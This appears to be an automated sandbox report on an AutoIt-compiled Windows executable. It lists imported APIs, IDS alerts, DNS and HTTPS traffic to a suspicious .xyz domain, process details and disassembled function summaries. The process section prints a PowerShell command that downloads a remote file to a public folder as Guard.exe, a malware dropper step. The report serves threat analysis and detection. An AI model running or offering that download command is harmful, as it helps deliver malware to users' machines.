USER32.dll	GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetWindowLongW, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongPtrW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, SetWindowLongPtrW, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, IsCharUpperW, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, GetClipboardData, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, IsCharLowerW, IsCharAlphaNumericW, IsCharAlphaW, GetKeyboardLayoutNameW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, SetMenuDefaultItem, CloseClipboard, GetWindowRect, SetUserObjectSecurity, IsClipboardFormatAvailable, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, OpenClipboard, GetWindowLongPtrW
GDI32.dll	EndPath, DeleteObject, GetDeviceCaps, ExtCreatePen, StrokePath, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, GetTextExtentPoint32W, CreateCompatibleBitmap, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StretchBlt, SelectObject, CreateCompatibleDC, StrokeAndFillPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegSetValueExW, GetSecurityDescriptorDacl, GetAclInformation, RegCreateKeyExW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW, GetUserNameW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	VariantChangeType, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, VariantTimeToSystemTime, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, VariantInit, VariantClear, VariantCopy, SysAllocString, SafeArrayCreateVector, VarR8FromDec, SafeArrayAllocDescriptorEx, SafeArrayAllocData, SysStringLen, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, SysReAllocString, SafeArrayAccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T08:39:38.698575+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 08:38:59.147871971 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:38:59.147892952 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:38:59.147977114 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:38:59.163942099 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:38:59.163954973 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:38:59.643692017 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:38:59.644186020 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:38:59.649264097 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:38:59.649270058 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:38:59.649514914 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:38:59.661050081 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:38:59.707335949 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:39:38.698595047 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:39:38.698653936 CET	443	49704	188.114.96.3	192.168.2.5
Jan 5, 2025 08:39:38.698791981 CET	49704	443	192.168.2.5	188.114.96.3
Jan 5, 2025 08:39:38.713954926 CET	49704	443	192.168.2.5	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 08:38:59.118319035 CET	55998	53	192.168.2.5	1.1.1.1
Jan 5, 2025 08:38:59.130594015 CET	53	55998	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 08:38:59.118319035 CET	192.168.2.5	1.1.1.1	0x94d1	Standard query (0)	bdfhbrgrg.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 08:38:59.130594015 CET	1.1.1.1	192.168.2.5	0x94d1	No error (0)	bdfhbrgrg.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 08:38:59.130594015 CET	1.1.1.1	192.168.2.5	0x94d1	No error (0)	bdfhbrgrg.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bdfhbrgrg.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	1488	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 07:38:59 UTC	166	OUT	GET /ImldXigH HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bdfhbrgrg.xyz Connection: Keep-Alive
2025-01-05 07:39:38 UTC	952	IN	HTTP/1.1 522 Date: Sun, 05 Jan 2025 07:39:38 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EHIoEg2WbJaBjrejOhSVtqS2McneF4feZc6kC35ML3pw4Ve%2Bdisi%2FUskTz%2F%2BB33L7YXkoDtv9O%2BMe%2BCIiWluBXkrqkaZKXeDyeoFSk5I0SbH8yPgsz0T7NsOqY1DJdM9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8fd1cfdb2c668c21-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1960&min_rtt=1955&rtt_var=744&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=780&delivery_rate=1459270&cwnd=243&unsent_bytes=0&cid=5235a1fd19935736&ts=39065&x=0"
2025-01-05 07:39:38 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Target ID:	0
Start time:	02:38:55
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\elyho3x5zz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\elyho3x5zz.exe"
Imagebase:	0x7ff629210000
File size:	1'083'904 bytes
MD5 hash:	69931884C719A49700D9B1921E915ED0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:38:55
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:38:55
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.3%
Total number of Nodes:	1156
Total number of Limit Nodes:	41

Executed Functions

Function 00007FF6292137B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF6292137F2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF629213807
GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF62921388D

Part of subcall function 00007FF629213F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF6292138BF,?,?,?,?,?,00007FF629213785), ref: 00007FF629213FFD

SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF629213924
MessageBoxA.USER32 ref: 00007FF62925B888
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF629213785), ref: 00007FF62925B8E1
GetForegroundWindow.USER32(?,?,?,?,?,00007FF629213785), ref: 00007FF62925B968
ShellExecuteW.SHELL32 ref: 00007FF62925B98F

Part of subcall function 00007FF629213B84: GetSysColorBrush.USER32 ref: 00007FF629213B9E
Part of subcall function 00007FF629213B84: LoadCursorW.USER32 ref: 00007FF629213BAE
Part of subcall function 00007FF629213B84: LoadIconW.USER32 ref: 00007FF629213BC3
Part of subcall function 00007FF629213B84: LoadIconW.USER32 ref: 00007FF629213BDC
Part of subcall function 00007FF629213B84: LoadIconW.USER32 ref: 00007FF629213BF5
Part of subcall function 00007FF629213B84: LoadImageW.USER32 ref: 00007FF629213C21
Part of subcall function 00007FF629213B84: RegisterClassExW.USER32 ref: 00007FF629213C85

Part of subcall function 00007FF629213CBC: CreateWindowExW.USER32 ref: 00007FF629213D0C
Part of subcall function 00007FF629213CBC: CreateWindowExW.USER32 ref: 00007FF629213D5F
Part of subcall function 00007FF629213CBC: ShowWindow.USER32 ref: 00007FF629213D75

Part of subcall function 00007FF629216258: Shell_NotifyIconW.SHELL32 ref: 00007FF629216350

Strings

runas, xrefs: 00007FF62925B973
This is a third-party compiled AutoIt script., xrefs: 00007FF62925B87F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 1593035822-3287110873
Opcode ID: 281c1e7be99c4a7b18314b13c4019a2424d473888b2523f6306895d303977498
Instruction ID: f371f3cef13f0fe8b52f92faefce8d40ceef830943113e1352ecd2d56c476cf1
Opcode Fuzzy Hash: 281c1e7be99c4a7b18314b13c4019a2424d473888b2523f6306895d303977498
Instruction Fuzzy Hash: 2E715C6192E68395FF609F60EE805F97365BFC2344F800136E54D861AADF7DE609E702

Function 00007FF629216580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00007FF62921674B
FindResourceExW.KERNEL32 ref: 00007FF62921676B
LoadResource.KERNEL32 ref: 00007FF62925C985
SizeofResource.KERNEL32 ref: 00007FF62925C99E
LockResource.KERNEL32 ref: 00007FF62925C9B1

Strings

AU3!, xrefs: 00007FF6292165D8
SCRIPT, xrefs: 00007FF62921675D
EA06, xrefs: 00007FF62925CA59

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: AU3!$EA06$SCRIPT
API String ID: 3051347437-2925976212
Opcode ID: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
Instruction ID: 41d7b4b0dccca88b0f1f36c39395b19272af7d73fecb8fdbec5b26e2cef477ed
Opcode Fuzzy Hash: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
Instruction Fuzzy Hash: E891E172B2A68186FF20CF219944A7C37A4BB86B84F464135DE5D87786DF3EE415E302

Function 00007FF629231D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF629231DC8
GetCurrentProcess.KERNEL32 ref: 00007FF629231F42
IsWow64Process.KERNEL32 ref: 00007FF629231F52
GetSystemInfo.KERNELBASE ref: 00007FF629231F8B

Strings

|O, xrefs: 00007FF62927954C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID: |O
API String ID: 1568231622-607156228
Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction ID: f9bf48f8c9c819671b5698da6b2c1b7b649b30461728963a02b916bcfa828913
Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction Fuzzy Hash: A8D17D25A2E79285FF208F60AD901BA3B90AFD5784F800035D58DD66A6DF7CF504EB0B

Function 00007FF62928C7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF62928C7CC
GetFileAttributesW.KERNELBASE ref: 00007FF62928C7E0
FindFirstFileW.KERNELBASE ref: 00007FF62928C7F3
FindClose.KERNEL32 ref: 00007FF62928C802

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction ID: b893f305ba471cd36c3a42613babbdd2a6c234a83204e7ad766bd01fbed902c6
Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction Fuzzy Hash: F7F05E20E6E60282FF289F24AD087383260BFC1BB5F545330D87E862E4DF6CD4996241

Function 00007FF629217920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF629215680: GetModuleFileNameW.KERNEL32(?,00007FF629217A0C,?,?,?,00007FF62921109E), ref: 00007FF62921569F

Part of subcall function 00007FF629233A38: GetFullPathNameW.KERNEL32(?,00007FF629217A1B,?,?,?,00007FF62921109E), ref: 00007FF629233A5F

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF62921109E), ref: 00007FF629217A75
RegQueryValueExW.ADVAPI32(?,?,?,00007FF62921109E), ref: 00007FF62925D081
RegQueryValueExW.ADVAPI32(?,?,?,00007FF62921109E), ref: 00007FF62925D0E9
RegCloseKey.ADVAPI32(?,?,?,00007FF62921109E), ref: 00007FF62925D138
wcscat.LIBCMT ref: 00007FF62925D19E
wcscat.LIBCMT ref: 00007FF62925D1CF

Strings

Software\AutoIt v3\AutoIt, xrefs: 00007FF629217A64
\Include\, xrefs: 00007FF629217A1B
Include, xrefs: 00007FF62925D06F, 00007FF62925D0D2

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
Instruction ID: b863e7f2dd58199596d3fce8c8056a3fb1a4b26000d73fabd8fea6661cef2fbc
Opcode Fuzzy Hash: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
Instruction Fuzzy Hash: CE914C22A29A8395FF609F64ED801B97368FFC5744F800132E94C83AA9DF7CD145E742

Function 00007FF629215DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF629215E76
KillTimer.USER32 ref: 00007FF629215EB1
SetTimer.USER32 ref: 00007FF629215ED9
RegisterWindowMessageW.USER32 ref: 00007FF629215EE6
CreatePopupMenu.USER32 ref: 00007FF629215EFC
PostQuitMessage.USER32 ref: 00007FF629215F23

Strings

TaskbarCreated, xrefs: 00007FF629215EDF

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction ID: fea32d0bb54fb84e83cc9c2d1f983b184c977f28fc9aa918774e503306e62e00
Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction Fuzzy Hash: DD513231D2EA4681FF249F24BE84AB93698AFC6B80F440071D44DD26A6DF7EE514F302

Function 00007FF629213D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF629213DE5
RegisterClassExW.USER32 ref: 00007FF629213E16
RegisterWindowMessageW.USER32 ref: 00007FF629213E2A
InitCommonControlsEx.COMCTL32 ref: 00007FF629213E48
ImageList_Create.COMCTL32 ref: 00007FF629213E63
LoadIconW.USER32 ref: 00007FF629213E7C
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF629213E8F

Strings

AutoIt v3 GUI, xrefs: 00007FF629213DF8
TaskbarCreated, xrefs: 00007FF629213E1C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction ID: 0125c1232c451c731d97a62ec8190de6d3157853c63c904b243b3d62017e2251
Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction Fuzzy Hash: 7C311532A18B018AFB008F60EC847A937B8FB88758F500139CA4D97BA4DF7DD159EB41

Function 00007FF62922E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF62922E9C3
OleUninitialize.OLE32 ref: 00007FF62922EABF
UnregisterHotKey.USER32(?,?,?,00007FF62922E939), ref: 00007FF62922ECD9
DestroyWindow.USER32(?,?,?,00007FF62922E939), ref: 00007FF6292727E4

Strings

close all, xrefs: 00007FF62922E9B7

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
Instruction ID: be406161e6c71d0f1d9eaf9d0135251bd4f709ae2b9b3cc453961102d444a75b
Opcode Fuzzy Hash: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
Instruction Fuzzy Hash: B2E10C21B2BA4281FE58DF16CB502BC3360BFD4B44F544075DB0EA7692DF39E862A752

Function 00007FF629213B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF629213B9E
LoadCursorW.USER32 ref: 00007FF629213BAE
LoadIconW.USER32 ref: 00007FF629213BC3
LoadIconW.USER32 ref: 00007FF629213BDC
LoadIconW.USER32 ref: 00007FF629213BF5
LoadImageW.USER32 ref: 00007FF629213C21
RegisterClassExW.USER32 ref: 00007FF629213C85

Part of subcall function 00007FF629213D90: GetSysColorBrush.USER32 ref: 00007FF629213DE5
Part of subcall function 00007FF629213D90: RegisterClassExW.USER32 ref: 00007FF629213E16
